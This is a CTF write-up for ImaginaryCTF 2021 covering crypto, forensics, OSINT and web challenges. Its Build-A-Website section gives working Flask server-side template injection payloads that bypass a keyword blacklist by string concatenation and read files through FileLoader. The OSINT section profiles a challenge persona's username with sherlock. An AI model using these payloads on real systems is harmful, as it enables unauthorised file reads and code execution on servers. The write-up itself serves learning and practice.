ImaginaryCTF 2021
Hello! I’m back at playing CTFs and as always, I’ve participated in this CTF for team ISwearIGoogledIt and got some challenges!
Challenge index:
Crypto
Forensic
Forensic / OSINT
Web
Table of contents generated with md-toc
Crypto
Chicken Caesar Salad
I remember the good old days when Caesar ciphers were easy…
Attachments
https://imaginaryctf.org/r/5363-chicken-caesar-salad.txt
We have this text:
qkbn{ePmv_lQL_kIMamZ_kQxpMZa_oMb_aW_pIZl}
Let’s apply the Caesar Cypher or ROT cypher until a ratation leads into the “ictf”. I’m using CyberChef:
ictf{wHen_dID_cAEseR_cIphERs_gEt_sO_hARd}
Forensic
Hidden
Oh no, someone hid my flag behind a giant red block! Please help me retrieve it!!
Attachments
https://imaginaryctf.org/r/10C4-challenge.psd
Seems like a Photoshop file, and for the hints in the description, we will have to open it and check the flag:
ictf{wut_how_do_you_see_this}
Forensic / OSINT
Unpuzzled 1 and Unpuzzled 2
Puzzler7’s evil twin was lurking around somewhere. In our Discord server there is an user who goes by the name unpuzzler7. OSINT him to get the flag. (Note: the flag for this challenge ends with 1032}.)
Note: DO NOT stalk/OSINT puzzler7#7657. This will not help you solve this challenge, and will only lead you away from the right solution.
By using Google we found the YouTube channel but I could not get any relevant information from there. Also tried the waybackmachine over the about page but nothing appeared.
I used sherlock to find any other social media, since there is no Twitter, Facebook or Instagram with tha username. Results are:
kali@kali:/opt/sherlock/sherlock$ python3 sherlock.py unpuzzler7
[*] Checking username unpuzzler7 on:
[+] ICQ: https://icq.im/unpuzzler7
[+] Quora: https://www.quora.com/profile/unpuzzler7
[+] Repl.it: https://repl.it/@unpuzzler7
First one and second one are false positives, but the third one… Looks promising since the user has some replies. Let’s take a look to the flag one:
We have some JSFuck, but decoding it doesn’t seem to be the solution
Decoded JSFuck:
alert("jctf{n0t_th3_fl4g} BUT YOU SHOULD SUBSCRIBE TO MY UNPUZZLING SERVICE!!!!!!!!!!!!!!!")
I kept going over those replit items and in the DiscordBot I found the following base64 code…
aWN0ZntyM3BsMXRfMXNudF90aDNfcGw0YzNfdDBfc3QwcjNfczNjcjN0c18xY2IyNjE0OH0=
Decoded:
ictf{r3pl1t_1snt_th3_pl4c3_t0_st0r3_s3cr3ts_1cb26148}
Seems like I got the flag from another Unpuzzled2…
Rewinding into the Unpuzzled1… He is talking about services… Looking for unpuzzler7 in GitHub I found a line of code with its name here and his GitHub profile.
On one of the files we can see a GMail:
if anyone is orz at pwn please send me an email at unpuzzler7@gmail.com
At the end could find the solution to Unpuzzled 1 :(
Vacation
Roo’s cousin was on vacation, but he forgot to tell us where he went! But he posted this image on his social media. Could you track down his location? Submit your answer as ictf{latitude_longitude}, with both rounded to 3 decimal places. Example: ictf{-12.345_42.424} (Note: only the image is needed for this challenge, as this is an OSINT challenge.)
In the image we can see the Rock Shop of Tahoe Hemp Company. A quick search on GMaps will do the work. Location was found here:
Using the coordinates in the URL will make the work for the flag:
ictf{38.947_-119.961}
Web
Roos_World
Description
Somebody hid Roo’s flag on his website. Roo really needs some help.
Attachments
http://roos-world.chal.imaginaryctf.org
In the website we can see in the inspector a JSFuck code (esoteric language) so we can use an online decoder.
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+...
Decoded JSFuck:
console.log(atob("aWN0ZnsxbnNwM2N0MHJfcjAwX2cwZXNfdGgwbmt9"));
Since it use the atob function, let’s use CyberChef to decode the Base64:
ictf{1nsp3ct0r_r00_g0es_th0nk}
Build-A-Website
I made a website where y’all can create your own websites! Should be considerably secure even though I’m a bit rusty with Flask.
Attachments
https://imaginaryctf.org/r/3ACF-app.py http://build-a-website.chal.imaginaryctf.org/
The website has the following code running in the back:
To approach this task I focused on the user input request.args[‘content’] and the last line where the template is rendered. Since the user input is rendered later, we might exploit Server Side Template Injection (SSTI).
To detect this vulnerability I checked the following payload since it is a Flask application:
{ { 7*7 } }
As we can see, the code is executed, therefore we can try to explote this vulnerability. The purpose is to read the flag file (?) or to execute code in the server. For that, we will need to call the File class in order to read its content, so we can use MRO (Method Resolution Order) to list the classes to look up for the methods considering its inheritance map. The last class of the mro will be the object one, there, we could find some interesting methods that we can exploit.
We use an empty string (“”) and access its class attribute. We have some issues with the blacklist implemented in the code (“las”, “bas”, “bal”) but we can bypass it with the following trick:
{ {""["__cl" + "ass__"]} }
Now, step up to the MRO:
{ {""["__cl" + "ass__"].__mro__} }
Now I use subclasses over the object class to obtain the list of available methods for the object class:
{ {""["__cl" + "ass__"].__mro__[1]["__subcl" + "asses__"]()} }
Now we have a great set of classes that we can access to. Let’s find out which one can be used to read files.
I see that the number 99 (FileLoader) may fit our purpose:
99 _frozen_importlib_external.FileLoader
103 _frozen_importlib_external.FileFinder
250 zipfile.ZipInfo
251 zipfile.LZMACompressor
252 zipfile.LZMADecompressor
253 zipfile._SharedFile
254 zipfile._Tellable
255 zipfile.ZipFile
256 zipfile.Path
269 email.feedparser.BufferedSubFile
273 tempfile._RandomNameSequence
274 tempfile._TemporaryFileCloser
275 tempfile._TemporaryFileWrapper
276 tempfile.SpooledTemporaryFile
277 tempfile.TemporaryDirectory
308 gunicorn.pidfile.Pidfile
315 argparse.FileType
356 gunicorn.http.wsgi.FileWrapper
406 werkzeug.datastructures.FileStorage
418 werkzeug.wsgi.FileWrapper
492 click._compat._AtomicFile
493 click.utils.LazyFile
494 click.utils.KeepOpenFile
Now, the documentation is checked to see how we can open and read a file:
Following the documentation, we crafted the following payload:
{ {""["__cl" + "ass__"].__mro__[1]["__subcl" + "asses__"]()[99]("flag.txt", "flag.txt").get_data("flag.txt")} }
ictf{:rooYay:_:rooPOG:_:rooHappy:_:rooooooooooooooooooooooooooo:}
That’s all for the little time I could spend. Thanks for reading!!